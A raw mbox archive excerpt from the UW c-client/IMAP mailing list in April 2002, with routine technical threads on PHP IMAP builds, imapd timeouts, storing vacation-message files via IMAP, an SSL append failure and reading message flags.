tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 1 Apr 2002 09:20:56 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g31HKuCu005616 for ; Mon, 1 Apr 2002 09:20:56 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Apr 01 09:20:46 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g31HKkmT026987; Mon, 1 Apr 2002 09:20:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g31HK3eo009356; Mon, 1 Apr 2002 09:20:03 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g31H95DN118042 for ; Mon, 1 Apr 2002 09:09:05 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Apr 01 09:08:59 2002 -0800 Received: from mail.blandsite.org (everything.west.spy.net [66.149.231.236] (may be forged)) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g31H8tre023218 for ; Mon, 1 Apr 2002 09:08:59 -0800 Received: from localhost (disk.west.spy.net [192.168.1.201]) by mail.blandsite.org (Postfix) with ESMTP id 590281621C; Mon, 1 Apr 2002 09:09:03 -0800 (PST) Received: from 64.160.46.147 ( [64.160.46.147]) as user knitterb@binge.b by imap.blandsite.org with HTTP; Mon, 1 Apr 2002 09:08:53 -0800 Message-Id: <1017680933.3ca89425a59a2@imap.blandsite.org> Date: Mon, 1 Apr 2002 09:08:53 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brandon Knitter To: Jonathan Hilgeman Cc: php-install@lists.php.net, c-client@u.washington.edu Subject: RE: [PHP-INST] Re: IMAP Connection: LOGIN is on two lines In-Reply-To: <5D90F61EB6FDD411836500508B137F1A01408E44@mailsvr.ecx.com> References: <5D90F61EB6FDD411836500508B137F1A01408E44@mailsvr.ecx.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Originating-IP: 64.160.46.147 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I found it. I was using the Horde stuff, so their things worked fine in one env, not in another! :) Turns out that I moved c-client.a to /usr/local/lib instead of coping and renaming it as libc-client.a, bonehead mistake. Why is it that PHP doesn't complain about building, and fail ideally, when missing libraries problems exist? I find that there are a lot of non-standard issues in the build process of PHP which probaly lends to most of the confusion when more than 4 things are compiled in. For instance, MCAL support makes PHP not even configure properly in static mode (MCAL is static, PHP is .so) because the configure conftests put -lmcal everywhere, even where they are not needed, and the callbacks are not implemented, causing configure to think that simple things like getcwd doesn't exist. Oh well, I found this! :) Any chance someone ownes the build process for imap and mcal that I can trade soe emails with. It might ease the frustrations for others. Thanks, -- -bk Quoting Jonathan Hilgeman : > So this is a PHP script trying to log into an IMAP server? Make sure your > username is available to the script. You may have the "login" part inside a > function, and since functions don't have immediate access to all the > variables, you'll need to global it: > > global $UsernameVariable; > > ...in order for the function to work correctly. Or I might just be totally > off on this. > > - Jonathan > > > > -----Original Message----- > From: Brandon Knitter [mailto:knitterb@blandsite.org] > Sent: Saturday, March 30, 2002 10:14 AM > To: php-install@lists.php.net > Cc: c-client@u.washington.edu > Subject: [PHP-INST] Re: IMAP Connection: LOGIN is on two lines > > > > I recently installed PHP (4.1.2) with IMAP support using UWASH's c-client > > library on a Solaris machine without issue. When I did the same on Linux > I > > could not login to my IMAP server. Snooping the connection on the IMAP > > server > > resulted in the following: > > > > > > # > > strings /tmp/snoop.log > > snoop > > &H); > > e* OK binge Cyrus IMAP4 v1.5.19 server ready > > Ywv00000000 CAPABILITY > > &HTI > > * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ NAMESPACE UIDPLUS > > X-NON-HIERARCHICAL-RENAME NO_ATOMIC_RENAME UNSELECT > > 00000000 OK Completed > > 00000001 LOGIN " > > " ******** > > 00000001 NO Invalid user > > 00000002 LOGIN " > > " ******** > > 00000002 NO Invalid user > > 00000003 LOGIN " > > " ******** > > 00000003 NO Invalid user > > 00000004 LOGOUT > > * BYE LOGOUT received > > 00000004 OK Completed > > &HRx > > # > > > > (I have replaced my password with "*". > > > > The odd part is that the LOGIN is on two lines. I have echo'd out the > > information send to the imap_open command in the script I'm using and all > > is > > well, as a matter of fact, the username is correct in the script, but as > you > > can > > see above, it's blank (replaced by a CR or CRLF). > > > > Any help would be greatly appreciated. > > > > Thanks, > > > > -- > > -bk > > > > > > > > > > > > > > -- > PHP Install Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > > From pinedev@shivax2.cac.washington.edu Mon Apr 1 10:30:57 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 1 Apr 2002 10:30:57 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g31IUvCu008399 for ; Mon, 1 Apr 2002 10:30:57 -0800 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Apr 01 10:30:56 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g31IUumT029371; Mon, 1 Apr 2002 10:30:56 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g31IUMlZ018510; Mon, 1 Apr 2002 10:30:22 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g31ITADN141104 for ; Mon, 1 Apr 2002 10:29:10 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Apr 01 10:29:10 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g31IT9re011431 for ; Mon, 1 Apr 2002 10:29:09 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id KAA09924; Mon, 1 Apr 2002 10:29:05 -0800 (PST) Message-Id: Date: Mon, 1 Apr 2002 10:25:46 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Ramakrishnan N." Cc: c-client@u.washington.edu Subject: Re: Setting the Timeouts In-Reply-To: <004701c1d959$88b45180$3301c0c0@NRAMKI> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 1 Apr 2002 14:15:06 +0530, Ramakrishnan N. wrote: > I actually need the Timeout to be for a longer duration. I need to Test an > Application for a set of Active Connections to my IMAP Server and it takes > more than 30 minutes for all the connections to be established. Hence I need > the Timeout to be extended. > Is there any place, like a config file or something, where I can change > this Timeout? The timeout is a compile-time parameter in the imapd.c source file. It is very easy to find, since it is at near the start of the file. However, I still question why you need to do this, especially if you are doing a test. You should be keeping each connection active even while you are creating the connections; if nothing else by sending a NOOP every 5 minutes. I am also surprised to hear that it takes more than 30 minutes. Are you creating the connections synchronously in a single thread or something? From pinedev@shivax2.cac.washington.edu Sun Apr 7 14:43:49 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 7 Apr 2002 14:43:49 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37LhnCu012076 for ; Sun, 7 Apr 2002 14:43:49 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Sun Apr 07 14:43:43 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g37LhhmT000559; Sun, 7 Apr 2002 14:43:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37LgplZ016726; Sun, 7 Apr 2002 14:42:52 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37LdWDN086150 for ; Sun, 7 Apr 2002 14:39:32 -0700 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Sun Apr 07 14:39:31 2002 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34] (may be forged)) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g37LdJIe011312 for ; Sun, 7 Apr 2002 14:39:30 -0700 Received: from fl.priv.at (N784P007.adsl.highway.telekom.at [62.47.41.231]) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id g37LdIL29495; Sun, 7 Apr 2002 23:39:18 +0200 Message-Id: <3CB0BCBA.470A4896@fl.priv.at> Date: Sun, 07 Apr 2002 23:40:10 +0200 Reply-To: C-Client/WU-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Subject: abusing WU-IMAP to create files with c-client (PHP4) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Sender: fl@mail.scotty.at X-Accept-Language: de, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! We use the vimap (patched wu-imapd) package in combination with linuxconf where the deliver program has a built-in vacation that relies on the files ".vacation.msg" and ".vacation.db" to be in the users homedir. The file ".vacation.msg" looks like this: # cat -n /vhome/DOMAIN.net/home/test/.vacation.msg 1 Return-Path: 2 Subject: =?iso-8859-15?Q?Vacation?= 3 From: "=?iso-8859-15?Q?test@DOMAIN.net?=" 4 Content-Transfer-Encoding: 8bit 5 Precedence: bulk 6 X-Mailer: Linuxconf + Vacationmanager 7 X-Vacation-Installed: Sun Apr 7 23:21:14 CEST 2002 8 9 Hallo! 10 11 Ich bin derzeit nicht erreichbar, werde mich um die Mails kümmern 12 sobald ich wieder zurück bin. 13 14 Guten Tag. 15 16 ================================================================= 17 Hello! 18 19 I'm currently unavaiable. When I'm back I'll read my mails. 20 21 Have a nice day. The ".vacation.db" file just needs to be created empty. Now my question, can I create those files via a c-client client (PHP4) on a WU-IMAP server? A problem could be that I set the default mailbox format to be mbx so the users can access their mails via different clients simultaneously. Can I tell the server to store the message shown above in a unix-style mailbox without a trailing message where it stores folder infos? Can I create an empty ".vacation.db"? Thanks for any infos you have on this matter. -- MfG / Regards Friedrich Lobenstock -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Apr 7 14:51:17 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 7 Apr 2002 14:51:17 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37LpHCu012185 for ; Sun, 7 Apr 2002 14:51:17 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Sun Apr 07 14:51:16 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g37LpGmT000679; Sun, 7 Apr 2002 14:51:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37LohR8021882; Sun, 7 Apr 2002 14:50:43 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37LnoDN086092 for ; Sun, 7 Apr 2002 14:49:50 -0700 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Sun Apr 07 14:49:49 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g37Lnlc6020776 for ; Sun, 7 Apr 2002 14:49:48 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id OAA20046; Sun, 7 Apr 2002 14:49:46 -0700 (PDT) Message-Id: Date: Sun, 7 Apr 2002 14:46:12 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: C-Client/WU-IMAP Mailing Liste Subject: re: abusing WU-IMAP to create files with c-client (PHP4) In-Reply-To: <3CB0BCBA.470A4896@fl.priv.at> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN By the way, it's "UW", not "WU". We are the University of Washington in Seattle, Washington. That's a different institution from Washington University, which is located far away from us. To answer your question, Pine uses IMAP for non-message purposes, such as address book and remote configuration. You can't use IMAP to write a file in arbitrary (non-mailbox) format, but it's not all that difficult to teach "vacation" (or whatever) software to read a mailbox-format file. Ideally, you would like it to open the file as a mailbox, and use the last message in it. That way, you can have backup versions. From pinedev@shivax2.cac.washington.edu Sun Apr 7 15:26:37 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 7 Apr 2002 15:26:37 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37MQbCu012739 for ; Sun, 7 Apr 2002 15:26:37 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Sun Apr 07 15:26:36 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g37MQZPs014006; Sun, 7 Apr 2002 15:26:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37MQAR8032690; Sun, 7 Apr 2002 15:26:10 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37MOcDN085268 for ; Sun, 7 Apr 2002 15:24:38 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Sun Apr 07 15:24:37 2002 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34] (may be forged)) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g37MOaIe014964 for ; Sun, 7 Apr 2002 15:24:37 -0700 Received: from fl.priv.at (N784P007.adsl.highway.telekom.at [62.47.41.231]) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id g37MOWL30233; Mon, 8 Apr 2002 00:24:32 +0200 Message-Id: <3CB0C752.F2F031EF@fl.priv.at> Date: Mon, 08 Apr 2002 00:25:22 +0200 Reply-To: C-Client/WU-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Subject: Re: abusing WU-IMAP to create files with c-client (PHP4) References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: fl@mail.scotty.at X-Accept-Language: de, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > By the way, it's "UW", not "WU". We are the University of Washington in > Seattle, Washington. That's a different institution from Washington > University, which is located far away from us. Aha...ok I'll try to remember that. > To answer your question, Pine uses IMAP for non-message purposes, such as > address book and remote configuration. I know and that's why it came to my mind to do something like this. > You can't use IMAP to write a file in arbitrary (non-mailbox) format, The message is a normal mail message, see my posting, the line numbers are just for illustration. > but it's not all that difficult to teach > "vacation" (or whatever) software to read a mailbox-format file. Ideally, you > would like it to open the file as a mailbox, and use the last message in it. > That way, you can have backup versions. The vacation message file needs to be in mailbox-format with ONLY one message in it. And I can't really teach the delivery agent (with the built-in vacation) to only take the last message into account. Can I tell uw-imap, via namespace, or whatever to create a mailbox in standard mailbox-format (unixproto) instead of _my_ default of mbx (CREATEPROTO=mbxproto)? Or is there an IMAP extension for vacation? -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Sun Apr 7 16:25:02 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 7 Apr 2002 16:25:02 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37NP1Cu013494 for ; Sun, 7 Apr 2002 16:25:01 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Sun Apr 07 16:23:00 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g37NN0mT002020; Sun, 7 Apr 2002 16:23:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37NMUlZ012904; Sun, 7 Apr 2002 16:22:30 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37NLKDN164118 for ; Sun, 7 Apr 2002 16:21:20 -0700 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Sun Apr 07 16:21:20 2002 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.19]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g37NLKre007293 for ; Sun, 7 Apr 2002 16:21:20 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g37NLK8J017480 for ; Sun, 7 Apr 2002 16:21:20 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Sun Apr 07 16:21:19 2002 -0700 Received: from Shimo-Tomobiki.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g37NLGjv003597 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO) for ; Sun, 7 Apr 2002 16:21:18 -0700 Message-Id: Date: Sun, 7 Apr 2002 16:21:12 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: C-Client/WU-IMAP Mailing Liste Subject: Re: abusing WU-IMAP to create files with c-client (PHP4) In-Reply-To: <3CB0C752.F2F031EF@fl.priv.at> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 8 Apr 2002, Friedrich Lobenstock wrote: > Can I tell uw-imap, via namespace, or whatever to create a mailbox in standard > mailbox-format (unixproto) instead of _my_ default of mbx (CREATEPROTO=mbxproto)? #driver.unix/ prefix. Note that this may still write the pseudo-message which holds the UID base information. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Apr 9 12:26:51 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Apr 2002 12:26:51 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39JQpXG017800 for ; Tue, 9 Apr 2002 12:26:51 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Apr 09 12:26:50 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g39JQomT028132; Tue, 9 Apr 2002 12:26:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39JPHqt020564; Tue, 9 Apr 2002 12:25:18 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39JJqDN127348 for ; Tue, 9 Apr 2002 12:19:53 -0700 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Apr 09 12:19:51 2002 -0700 Received: from donkeykong.gpcc.itd.umich.edu (donkeykong.gpcc.itd.umich.edu [141.211.2.163]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g39JJoIe008865 for ; Tue, 9 Apr 2002 12:19:51 -0700 Received: from asteroids.gpcc.itd.umich.edu (asteroids.gpcc.itd.umich.edu [141.211.2.218]) by donkeykong.gpcc.itd.umich.edu (8.8.8/4.3-mailhub) with ESMTP id PAA10503; Tue, 9 Apr 2002 15:19:03 -0400 (EDT) Received: from localhost (jlambers@localhost) by asteroids.gpcc.itd.umich.edu (8.9.1a/5.1-client) with ESMTP id PAA12028; Tue, 9 Apr 2002 15:19:02 -0400 (EDT) Message-Id: Date: Tue, 9 Apr 2002 15:19:02 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jonathan Joseph Lamberson To: c-client@u.washington.edu Subject: SSL issue on Win2k MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: jlambers@asteroids.gpcc.itd.umich.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I am writing a utility for the University of Michigan to transfer mail from legacy Eudora mailboxes to a new Microsoft Exchange e-mail server. It is being developed, and will be run on, Windows 2000 machines. Much of the code is taken from your imapcopy utility, along with some added text parsing to clean up idiosyncrasies with the Eudora mailbox format. My utility works just fine when I don't make an SSL connection to the Exchange server, however when I do add /ssl to the server name, I am witnessing some strange behavior. When copying large mailboxes, it will get about half way through the append (using the mail_append_multiple function) and then the connection will close. Here's a sample of the output: 000002a4 OK [APPENDUID 98056 672] APPEND completed. [[APPENDUID 98056 672] APPEND completed.] 000002a5 APPEND Eudora-Mailboxes/In.mbx () "14-Feb-2002 11:57:34 -0400" {2750} + Ready for additional command text. [Winsock cleanup] [[CLOSED] IMAP connection broken (server response)] ?[CLOSED] IMAP connection broken (server response) ?Can't append message to mailbox {lsa-mp.lsa.adsroot.itcs.umich.edu:993/imap/ssl/novalidate-cert/user="jlambers-test"}Eudora-Mailboxes/In.mbx -- aborting It will reconnect when it moves on to the next mailbox. Unfortunately, it won't resume the append that was aborted, so the result is that only part of the mailbox gets copied. I was thinking that this looks similar to the FAQ on your website (incomplete SecBuffer exceeds maximum buffer size), however I am building with c-client 2001a, so I think that problem should be fixed, correct? If you have any advice, or need any further info, please feel free to contact me. Jonathan Lamberson LS&A Information Technology The University of Michigan -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Apr 9 13:16:57 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Apr 2002 13:16:57 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39KGvXG019780 for ; Tue, 9 Apr 2002 13:16:57 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Apr 09 13:16:56 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g39KGtPs012822; Tue, 9 Apr 2002 13:16:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39KFvqt020998; Tue, 9 Apr 2002 13:15:57 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39KEJDN185530 for ; Tue, 9 Apr 2002 13:14:19 -0700 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Apr 09 13:14:18 2002 -0700 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g39KEIre016657 for ; Tue, 9 Apr 2002 13:14:18 -0700 Received: from i3-113.bynari.net ([192.168.3.113] helo=samadams.bynari.net)by ts2.bynari.netwith esmtp(Exim 3.20 #1 (Debian))id 16v2oz-0002at-00for ; Tue, 09 Apr 2002 16:06:33 -0500 Message-Id: Date: Tue, 09 Apr 2002 20:16:38 UTC Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: c-client@u.washington.edu Subject: How to get a flag for a message? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Accept-Language: en_US X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How do I get the flags (UNSEEN, DELETED, EXPUNGED...) for the message that I'm looking. I can't seem to find any functions in the c-client library that I can pass the message number or UID to return the flag either returning directly or through the callback functions. Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Apr 9 13:27:45 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Apr 2002 13:27:45 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39KRjXG020154 for ; Tue, 9 Apr 2002 13:27:45 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Apr 09 13:27:44 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g39KRiPs013134; Tue, 9 Apr 2002 13:27:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39KLxlZ020810; Tue, 9 Apr 2002 13:21:59 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39KKaDN009018 for ; Tue, 9 Apr 2002 13:20:37 -0700 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Apr 09 13:20:30 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g39KKUc6025652 for ; Tue, 9 Apr 2002 13:20:30 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id 